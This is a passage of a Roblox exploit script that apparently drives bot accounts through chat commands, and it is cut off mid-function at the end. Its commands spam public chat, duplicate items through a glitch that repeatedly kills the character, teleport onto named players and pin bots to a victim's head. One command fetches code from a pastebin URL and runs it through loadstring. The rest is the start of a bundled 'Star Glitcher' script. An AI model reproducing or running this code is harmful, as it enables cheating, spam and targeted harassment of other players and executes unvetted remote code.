game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻⸻", "All")
until spamming == false
end
if BM[1]:lower() == prefix.."teapotspam" then
spamming = true
repeat wait()
game.Players:Chat("-gh 1055299,1055299,1055299,1055299,1055299,1055299,1055299,1055299,1055299,1055299,1055299,1055299,1055299,1055299,1055299,1055299,1055299,1055299,1055299,1055299,1055299,1055299,1055299")
until spamming == false
end
if BM[1]:lower() == prefix.."antiragdoll" then
antiragdoll = true
repeat wait()
game:GetService("ReplicatedStorage").LocalRagdollEvent:Fire(false)
until antiragdoll == false
end
if BM[1]:lower() == prefix.."ragdoll" then
game:GetService("ReplicatedStorage").LocalRagdollEvent:Fire(true)
end
if BM[1]:lower() == prefix.."unragdoll" then
game:GetService("ReplicatedStorage").LocalRagdollEvent:Fire(false)
end
if BM[1]:lower() == prefix.."unantiragdoll" then
antiragdoll = false
end
if BM[1]:lower() == prefix.."spam" then
local message = BM[2]
for i=1, #BM-2 do
message = message.." "..BM[i+2]
end
spamming = true
repeat wait()
local tbl_main =
{
message,
"All"
}
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(unpack(tbl_main))
game.Players:Chat(message)
until spamming == false
end
if BM[1]:lower() == prefix.."bypassspam" then
local message = BM[2]
for i=1, #BM-2 do
message = message.." "..BM[i+2]
end
spamming = true
repeat wait()
local tbl_main =
{
message,
"All"
}
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(unpack(tbl_main))
until spamming == false
end
if BM[1]:lower() == prefix.."unspam" then
spamming = false
end
if BM[1]:lower() == prefix.."funee" then
local h = Instance.new("Sound",owner.Character)
h.Looped = true
h.SoundId = "rbxassetid://6057679649"
h.Volume = 10
h:Play()
end
if BM[1]:lower() == prefix.."octagon" then
local h = Instance.new("Sound",owner.Character)
h.Looped = true
h.SoundId = "rbxassetid://3727388982"
h.Volume = 10
h:Play()
end
if BM[1]:lower() == prefix.."shutup" then
local screengui = Instance.new("ScreenGui", game.Players.LocalPlayer.PlayerGui)
local videoframe = Instance.new("VideoFrame", screengui)
videoframe.Visible = true
videoframe.Size = UDim2.new(1,0,1,0)
videoframe.Video = getsynasset("video.webm")
videoframe.Looped = true
videoframe:Play()
end
if BM[1]:lower() == prefix.."monstermash" then
local sound = Instance.new("Sound")
sound.SoundId = "rbxassetid://35930009"
sound.Name = "SongLoop"
sound.Volume = 10
sound.Parent = game.Players.LocalPlayer.Character
sound.Looped = true
sound:Play()
local AnimationId = "35654637"
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://"..AnimationId
local k = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
k:Play()
end
if BM[1]:lower() == prefix.."squat" then
local sound = Instance.new("Sound")
sound.SoundId = "rbxassetid://1188216312"
sound.Name = "SongLoop"
sound.Volume = 10
sound.Parent = game.Players.LocalPlayer.Character
sound.Looped = true
sound:Play()
local AnimationId = "182724289"
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://"..AnimationId
local k = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
k:Play()
end
if BM[1]:lower() == prefix.."gettools" then
noclip = true
local h = game.Players.LocalPlayer.Character.Head.CFrame
for i,v in pairs(workspace:GetChildren()) do
wait(0.1)
local success,message = pcall(function()
if v:IsA("Tool") then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(v.Handle.CFrame * CFrame.new(0,1,0))
end
end)
if not success then warn(message) end
end
wait(1)
for i,v in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
pcall(function() v.Velocity = Vector3.new(0,0,0) end)
end
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,7.5))
game.Players.LocalPlayer.Character.Humanoid.PlatformStand = false
wait(1.5)
game.Players.LocalPlayer.Character.Humanoid.PlatformStand = false
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,7.5))
wait(0.5)
for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
if v:IsA("Tool") then v.Parent = game.Players.LocalPlayer.Backpack end
end
for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Character
v.Parent = workspace
end
wait(0.5)
for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
if v:IsA("Tool") then v.Parent = game.Players.LocalPlayer.Backpack end
end
for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Character
v.Parent = workspace
end
noclip = false
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,7.5))
for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
if v:IsA("Tool") then v.Parent = game.Players.LocalPlayer.Backpack end
end
for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Character
v.Parent = workspace
end
end
if BM[1]:lower() == prefix.."gettools2" then
noclip = true
for i,v in pairs(workspace:GetChildren()) do
wait(0.1)
local success,message = pcall(function()
if v:IsA("Tool") then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(v.Handle.CFrame * CFrame.new(0,1,0))
end
end)
if not success then warn(message) end
end
end
if BM[1]:lower() == prefix.."loopdupetools" then
duping = true
repeat wait() pcall(function()
noclip = true
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(CFrame.new(0,99999,0))
wait(0.5)
for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
if v:IsA("Tool") then v.Parent = game.Players.LocalPlayer.Backpack end
end
for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Character
v.Parent = workspace
end
wait(0.5)
game.Players.LocalPlayer.Character.Humanoid:Destroy()
wait(5.5)
local h = game.Players.LocalPlayer.Character.Head.CFrame
for i,v in pairs(workspace:GetChildren()) do
wait(0.1)
local success,message = pcall(function()
if v:IsA("Tool") then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(v.Handle.CFrame * CFrame.new(0,1,0))
end
end)
if not success then warn(message) end
end
wait(1)
for i,v in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
pcall(function() v.Velocity = Vector3.new(0,0,0) end)
end
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,7.5))
game.Players.LocalPlayer.Character.Humanoid.PlatformStand = false
wait(1.5)
game.Players.LocalPlayer.Character.Humanoid.PlatformStand = false
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,7.5))
wait(0.5)
for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
if v:IsA("Tool") then v.Parent = game.Players.LocalPlayer.Backpack end
end
for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Character
v.Parent = workspace
end
wait(0.5)
for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
if v:IsA("Tool") then v.Parent = game.Players.LocalPlayer.Backpack end
end
for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Character
v.Parent = workspace
end
noclip = false
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,7.5))
for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
if v:IsA("Tool") then v.Parent = game.Players.LocalPlayer.Backpack end
end
for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Character
v.Parent = workspace
end
game.Players.LocalPlayer.Character.Humanoid:Destroy()
wait(5.5)
end) until duping == false
end
if BM[1]:lower() == prefix.."fastloopdupetools" then
duping = true
repeat wait() pcall(function()
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(CFrame.new(0,99999,0))
wait(0.5)
for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
if v:IsA("Tool") then v.Parent = game.Players.LocalPlayer.Backpack end
end
for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Character
v.Parent = workspace
end
game.Players.LocalPlayer.Character.Humanoid:Destroy()
wait(5.25)
for i,v in pairs(workspace:GetChildren()) do
if v:IsA("Tool") then
firetouchinterest(game.Players.LocalPlayer.Character.Head,v.Handle,0)
end
end
for i,v in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
pcall(function() v.Velocity = Vector3.new(0,0,0) end)
end
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,7.5))
game.Players.LocalPlayer.Character.Humanoid.PlatformStand = false
game.Players.LocalPlayer.Character.Humanoid.PlatformStand = false
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,7.5))
wait(.25)
for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
if v:IsA("Tool") then v.Parent = game.Players.LocalPlayer.Backpack end
end
for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Character
v.Parent = workspace
end
game.Players.LocalPlayer.Character.Humanoid:Destroy()
wait(5.25)
end) until duping == false
end
if BM[1]:lower() == prefix.."unloopdupetools" then
duping = false
end
if BM[1]:lower() == prefix.."fastdupetools" then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(CFrame.new(0,99999,0))
wait(0.5)
for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
if v:IsA("Tool") then v.Parent = game.Players.LocalPlayer.Backpack end
end
for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Character
v.Parent = workspace
end
game.Players.LocalPlayer.Character.Humanoid:Destroy()
wait(5.25)
for i,v in pairs(workspace:GetChildren()) do
if v:IsA("Tool") then
firetouchinterest(game.Players.LocalPlayer.Character.Head,v.Handle,0)
end
end
for i,v in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
pcall(function() v.Velocity = Vector3.new(0,0,0) end)
end
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,7.5))
game.Players.LocalPlayer.Character.Humanoid.PlatformStand = false
game.Players.LocalPlayer.Character.Humanoid.PlatformStand = false
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,7.5))
wait(.25)
for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
if v:IsA("Tool") then v.Parent = game.Players.LocalPlayer.Backpack end
end
for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Character
v.Parent = workspace
end
game.Players.LocalPlayer.Character.Humanoid:Destroy()
wait(5.25)
end
if BM[1]:lower() == prefix.."dupetools" then
noclip = true
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(CFrame.new(0,99999,0))
wait(0.5)
for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
if v:IsA("Tool") then v.Parent = game.Players.LocalPlayer.Backpack end
end
for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Character
v.Parent = workspace
end
wait(0.5)
game.Players.LocalPlayer.Character.Humanoid:Destroy()
wait(5.5)
local h = game.Players.LocalPlayer.Character.Head.CFrame
for i,v in pairs(workspace:GetChildren()) do
wait(0.1)
local success,message = pcall(function()
if v:IsA("Tool") then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(v.Handle.CFrame * CFrame.new(0,1,0))
end
end)
if not success then warn(message) end
end
wait(1)
for i,v in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
pcall(function() v.Velocity = Vector3.new(0,0,0) end)
end
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,7.5))
game.Players.LocalPlayer.Character.Humanoid.PlatformStand = false
wait(1.5)
game.Players.LocalPlayer.Character.Humanoid.PlatformStand = false
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,7.5))
wait(0.5)
for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
if v:IsA("Tool") then v.Parent = game.Players.LocalPlayer.Backpack end
end
for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Character
v.Parent = workspace
end
wait(0.5)
for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
if v:IsA("Tool") then v.Parent = game.Players.LocalPlayer.Backpack end
end
for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Character
v.Parent = workspace
end
noclip = false
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,7.5))
for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
if v:IsA("Tool") then v.Parent = game.Players.LocalPlayer.Backpack end
end
for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Character
v.Parent = workspace
end
game.Players.LocalPlayer.Character.Humanoid:Destroy()
wait(5.5)
end
if BM[1]:lower() == prefix.."bringtools" then
noclip = true
for i,v in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
pcall(function() v.Velocity = Vector3.new(0,0,0) end)
end
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,7.5))
game.Players.LocalPlayer.Character.Humanoid.PlatformStand = false
wait(1)
game.Players.LocalPlayer.Character.Humanoid.PlatformStand = false
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,7.5))
for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
if v:IsA("Tool") then v.Parent = game.Players.LocalPlayer.Backpack end
end
for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Character
v.Parent = workspace
end
noclip = false
end
if BM[1]:lower() == prefix.."fastbringtools" then
noclip = true
for i,v in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
pcall(function() v.Velocity = Vector3.new(0,0,0) end)
end
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,7.5))
game.Players.LocalPlayer.Character.Humanoid.PlatformStand = false
wait(1)
game.Players.LocalPlayer.Character.Humanoid.PlatformStand = false
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,7.5))
for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
if v:IsA("Tool") then v.Parent = game.Players.LocalPlayer.Backpack end
end
for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Character
v.Parent = workspace
end
noclip = false
game.Players.LocalPlayer.Character:BreakJoints()
end
if BM[1]:lower() == prefix.."goto" then
local victims = GetPlayers(BM[2]:lower(),owner)
for i,v in pairs(victims) do
pcall(function() game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(v.Character.Head.CFrame) end)
end
end
if BM[1]:lower() == prefix.."cream" then
local sound = Instance.new("Sound")
sound.SoundId = "rbxassetid://5243290506"
sound.Name = "SongLoop"
sound.Volume = 10
sound.Parent = owner
sound.Looped = true
sound:Play()
local AnimationId = "148831003"
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://"..AnimationId
local k = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
k:Play()
local victims = GetPlayers(BM[2]:lower(),owner)
cream = true
repeat wait()
for i,v in pairs(victims) do
pcall(function() game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(v.Character.Head.CFrame * CFrame.new(0,-.5,1)) end)
end
until cream == false
sound:Destroy()
end
if BM[1]:lower() == prefix.."uncream" then
cream = false
end
if BM[1]:lower() == prefix.."whitelist" then
local people = GetPlayers(BM[2]:lower(),owner)
for i,v in pairs(people) do
if not table.find(whitelisted,v.Name) then
table.insert(whitelisted,v.Name)
bruh(game.Players:FindFirstChild(v.Name))
end
end
end
if BM[1]:lower() == prefix.."novelocity" then
for i,v in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
pcall(function() v.Velocity = Vector3.new(0,0,0) end)
end
end
if BM[1]:lower() == prefix.."norotvelocity" then
for i,v in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
pcall(function() v.RotVelocity = Vector3.new(0,0,0) end)
end
end
if BM[1]:lower() == prefix.."loopnorotvelocity" then
velocity = true
repeat wait()
for i,v in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
pcall(function() v.RotVelocity = Vector3.new(0,0,0) end)
end
until velocity == false
end
if BM[1]:lower() == prefix.."loopnovelocity" then
velocity = true
repeat wait()
for i,v in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
pcall(function() v.Velocity = Vector3.new(0,0,0) v.RotVelocity = Vector3.new(0,0,0) end)
end
until velocity == false
end
if BM[1]:lower() == prefix.."unloopnovelocity" or BM[1]:lower() == prefix.."unloopnorotvelocity" then
velocity = false
end
if BM[1]:lower() == prefix.."centipede" then
local sound = Instance.new("Sound")
sound.SoundId = "rbxassetid://4739480064"
sound.Name = "SongLoop"
sound.Volume = 10
sound.Parent = owner.Character
sound.Pitch = 0.8
sound.Looped = true
sound:Play()
end
message = "Thanks Shrimps!"
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(message, "All")
if BM[1]:lower() == prefix.."slowingdown" then
local sound = Instance.new("Sound")
sound.SoundId = "rbxassetid://1203808893"
sound.Name = "SongLoop"
sound.Volume = 10
sound.Parent = owner.Character
sound.Looped = true
sound:Play()
end
if BM[1]:lower() == prefix.."slowmo" then
slowmo = true
repeat
game.Players.LocalPlayer.Character.Head.Anchored = true
wait()
game.Players.LocalPlayer.Character.Head.Anchored = false
wait()
until slowmo == false
end
if BM[1]:lower() == prefix.."whitelisted" then
local message = "Currently Whitelisted ("..#whitelisted.."): "
for i,v in pairs(whitelisted) do
if v ~= whitelisted[#whitelisted] then
message = message..v..", "
else
if #whitelisted ~= 1 then
message = message.."& "..v.."."
else
message = message..v.."."
end
end
end
local tbl_main =
{
message,
"All"
}
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(unpack(tbl_main))
end
--[[if BM[1]:lower() == prefix.."flyinggorilla" then
function upplatm()
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(game.Players.LocalPlayer.Character.PrimaryPart.CFrame * CFrame.new(0,0,-5))
local orig = game.Players.LocalPlayer.Character.PrimaryPart.CFrame
for i=1, 10 do
wait(0.05)
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(orig * CFrame.new(0,0,i))
end
orig = game.Players.LocalPlayer.Character.PrimaryPart.CFrame
for i=1, 5 do
wait(0.025)
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(orig * CFrame.new(0,i,0))
end
local tbl_main =
{
"💥",
"All"
}
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(unpack(tbl_main))
game.Players.LocalPlayer.Character.Head.Anchored = true
spawn(function()
wait(1.5)
game.Players.LocalPlayer.Character.Head.Anchored = false
end)
end
function platr()
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(game.Players.LocalPlayer.Character.PrimaryPart.CFrame * CFrame.new(2,0,-20))
local orig = game.Players.LocalPlayer.Character.PrimaryPart.CFrame
for i=1, 20 do
wait(0.05)
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(orig * CFrame.new(0,0,i))
end
end
function platm()
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(game.Players.LocalPlayer.Character.PrimaryPart.CFrame * CFrame.new(0,0,-20))
local orig = game.Players.LocalPlayer.Character.PrimaryPart.CFrame
for i=1, 20 do
wait(0.05)
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(orig * CFrame.new(0,0,i))
end
end
function monkeyleft()
--game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(game.Players.LocalPlayer.Character.PrimaryPart.CFrame * CFrame.Angles(math.rad(270),0,0))
local og = game.Players.LocalPlayer.Character.PrimaryPart.CFrame
game.Players.LocalPlayer.Character.Head.Anchored = true
local orig = game.Players.LocalPlayer.Character.PrimaryPart.CFrame
for i=1, 10 do
game.Players.LocalPlayer.Character.Head.Anchored = false
wait()
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(orig * CFrame.new((i*-1)/2,0,0) * CFrame.Angles(0,math.rad((i*8)*-1),0))
game.Players.LocalPlayer.Character.Head.Anchored = true
end
game.Players.LocalPlayer.Character.Head.Anchored = true
wait(1.5)
local orig = game.Players.LocalPlayer.Character.PrimaryPart.CFrame
for i=1, 10 do
game.Players.LocalPlayer.Character.Head.Anchored = false
wait()
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(orig * CFrame.new(0,0,(i/2)*-1) * CFrame.Angles(0,math.rad((i*8)),0))
game.Players.LocalPlayer.Character.Head.Anchored = true
end
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(og)
game.Players.LocalPlayer.Character.Head.Anchored = true
end
if game.Players.LocalPlayer.Name = bots[1] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.PrimaryPart.CFrame * CFrame.Angles(math.rad(270),0,0))
else
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.PrimaryPart.CFrame)
end
local og = game.Players.LocalPlayer.Character.PrimaryPart.CFrame
if game.Players.LocalPlayer.Name ~= bots[1] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.PrimaryPart.CFrame * CFrame.new(255000))
end
game.Players.LocalPlayer.Character.Head.Anchored = true
wait(4)
if game.Players.LocalPlayer.Name = bots[2] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(og)
platm()
spawn(function()
wait(2)
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.PrimaryPart.CFrame * CFrame.new(255000))
end)
end
end]]--
if BM[1]:lower() == prefix.."glitcher" then
function LoadLibrary(a)
return loadstring(game:HttpGet("https://pastebin.com/raw/UfzKgS6T", true))()
end
wait(0.111111156)
warn([[Star Glitcher Loaded.
All purpose switcher... -- wat
It's not over yet.
The faith is among us.
And yet you still haven't defeated me.
Now is my chance to destroy you.
Then you're out of the world.
With the elemental being struggling to gain power.
This is the result.
Very unstable and powerful.
A insanely chaotic being.
Who haven't ever known that one could hold this power.
It's the one that has been created by an unknown being.
You'll know this name already.
Till now.
The power is inside your body.
You will decide things with this.
And the future changes within the power.
For now, you'll decide your own.
You're one of them who holds this power.
And so on, you would get chaotic to everyone else.
You seem to dont trust everyone else, but one.
That one... you can't know.
It's only your decision.
At yourself.
No mercy, or spare.
Created by 'NoobyGames12'
Edited by 'danny199990'
Some stuff by 'XXUNORIBOASXX'
]])
warn([[V 3.3.1 (ON PROGRESS) Update Log:
- Originall themes included
! - Calamity's "Z" has changed.
! - Starfall EX added.
! - Mayhem now has Destruction mode.
! - Chaos theme has been changed.
! - Purity's theme has been extended.
? - Corruption's "Z" will have animation sooner.
! - Calamity's "X" is added, named Starfall.
* - Catastrophe's "Z" coming soon, same as Calamity's "Z" but more powerful.
! - Divinity's Shield move fixed, wont break anymore(Hold F)(Made by danny199990).
! - Equinox's MeteorStrike move(X) added(Made by danny199990).
! - Divinity's Judgement move(Z) collison issue fixed(Made by danny199990).
! - Divinity's Judgement move(Z) can now be held as long as you want it to.
I'd like if you wouldnt remove my or NoobyGames's credit, thanks alot ;).
]])
--- its obs smooth af do not touch
---- Sources and functions might be taken from others
plr = game:GetService("Players").LocalPlayer
char = owner.Character
hum = char.Humanoid
local cam = game.Workspace.CurrentCamera
local Controller = Instance.new("LocalScript",plr)
Controller.Name = "fakecontroller"
Camera = cam
local CamInterrupt = false
local TwoD = false
local TargetInfo = {nil, nil}
cam.CameraType = "Custom"
t = char.Torso
h = char.Head
ra = char["Right Arm"]
la = char["Left Arm"]
rl = char["Right Leg"]
ll = char["Left Leg"]
tors = char.Torso
lleg = char["Left Leg"]
root = char.HumanoidRootPart
hed = char.Head
rleg = char["Right Leg"]
rarm = char["Right Arm"]
larm = char["Left Arm"]
radian = math.rad
random = math.random
Vec3 = Vector3.new
Inst = Instance.new
cFrame = CFrame.new
Euler = CFrame.fromEulerAnglesXYZ
vt = Vector3.new
bc = BrickColor.new
br = BrickColor.random
it = Instance.new
cf = CFrame.new
local eff = true
local shielding = false
local Booleans = {
CamFollow = true,
GyroUse = true
}
function lerp(object, newCFrame, alpha)
return object:lerp(newCFrame, alpha)
end
local Directer = Inst("BodyGyro", root)
Directer.MaxTorque = Vec3(0, 0, 0)
Directer.P = 600000
local CPart = Inst("Part")
CPart.Anchored = true
CPart.CanCollide = false
CPart.Locked = true
CPart.Transparency = 1
local rainbowmode = false
local chaosmode = false
kan = Instance.new("Sound",char)
kan.Volume = 1.25
kan.TimePosition = 0
kan.PlaybackSpeed = 1
kan.Pitch = 1
kan.SoundId = "rbxassetid://614032233"
kan.Name = "wrecked"
kan.Looped = true
kan:Play()
function newTheme(ID,timepos,pitch,vol)
local kanz = kan
--kanz:Stop()
--kanz.Volume = vol
--kanz.TimePosition = timepos
kanz.PlaybackSpeed = pitch
kanz.Pitch = pitch
kanz.SoundId = ID
kanz.Name = "wrecked"
kanz.Looped = true
kanz.Volume = 0.3
--kanz:Play()
--coroutine.resume(coroutine.create(function()
--wait(0.05)
--end))
end
function newThemeCust(ID,timepos,pitch,vol)
local kanz = kan
kanz:Stop()
kanz.Volume = vol
kanz.TimePosition = timepos
kanz.PlaybackSpeed = pitch
kanz.Pitch = pitch
kanz.SoundId = ID
kanz.Name = "wrecked"
kanz.Looped = true
kanz:Play()
coroutine.resume(coroutine.create(function()
wait(0.05)
end))
end
function CameraShake(Times, Power, PlayerTarget)
coroutine.resume(coroutine.create(function()
FV = Instance.new("BoolValue", PlayerTarget)
FV.Name = "CameraShake"
for ShakeNum=1,Times do
swait()
local ef=Power
if ef>=1 then
Humanoid.CameraOffset = Vector3.new(math.random(-ef,ef),math.random(-ef,ef),math.random(-ef,ef))
else
ef=Power*10
Humanoid.CameraOffset = Vector3.new(math.random(-ef,ef)/10,math.random(-ef,ef)/10,math.random(-ef,ef)/10)
end
end
Humanoid.CameraOffset = Vector3.new(0,0,0)
FV:Destroy()
end))
end
function CameraEnshaking(Length,Intensity)
coroutine.resume(coroutine.create(function()
local intensity = 1*Intensity
local rotM = 0.01*Intensity
for i = 0, Length, 0.1 do
swait()
intensity = intensity - 0.05*Intensity/Length
rotM = rotM - 0.0005*Intensity/Length
hum.CameraOffset = Vec3(radian(random(-intensity, intensity)), radian(random(-intensity, intensity)), radian(random(-intensity, intensity)))
cam.CFrame = cam.CFrame * cFrame(radian(random(-intensity, intensity)), radian(random(-intensity, intensity)), radian(random(-intensity, intensity))) * Euler(radian(random(-intensity, intensity)) * rotM, radian(random(-intensity, intensity)) * rotM, radian(random(-intensity, intensity)) * rotM)
end
Humanoid.CameraOffset = Vec3(0, 0, 0)
end))
end
CamShake=function(Part,Distan,Power,Times)
local de=Part.Position
for i,v in pairs(workspace:children()) do
if v:IsA("Model") and v:findFirstChild("Humanoid") then
for _,c in pairs(v:children()) do
if c.ClassName=="Part" and (c.Position - de).magnitude < Distan then
local Noob=v.Humanoid
if Noob~=nil then
coroutine.resume(coroutine.create(function()
FV = Instance.new("BoolValue", Noob)
FV.Name = "CameraShake"
for ShakeNum=1,Times do
swait()
local ef=Power
if ef>=1 then
Humanoid.CameraOffset = Vector3.new(math.random(-ef,ef),math.random(-ef,ef),math.random(-ef,ef))
else
ef=Power*10
Humanoid.CameraOffset = Vector3.new(math.random(-ef,ef)/10,math.random(-ef,ef)/10,math.random(-ef,ef)/10)
end
end
Humanoid.CameraOffset = Vector3.new(0,0,0)
FV:Destroy()
end))
CameraShake(Times, Power, Noob)
end
end
end
end
end
end
function chatfunc(text,color)
local chat = coroutine.wrap(function()
if Character:FindFirstChild("TalkingBillBoard")~= nil then
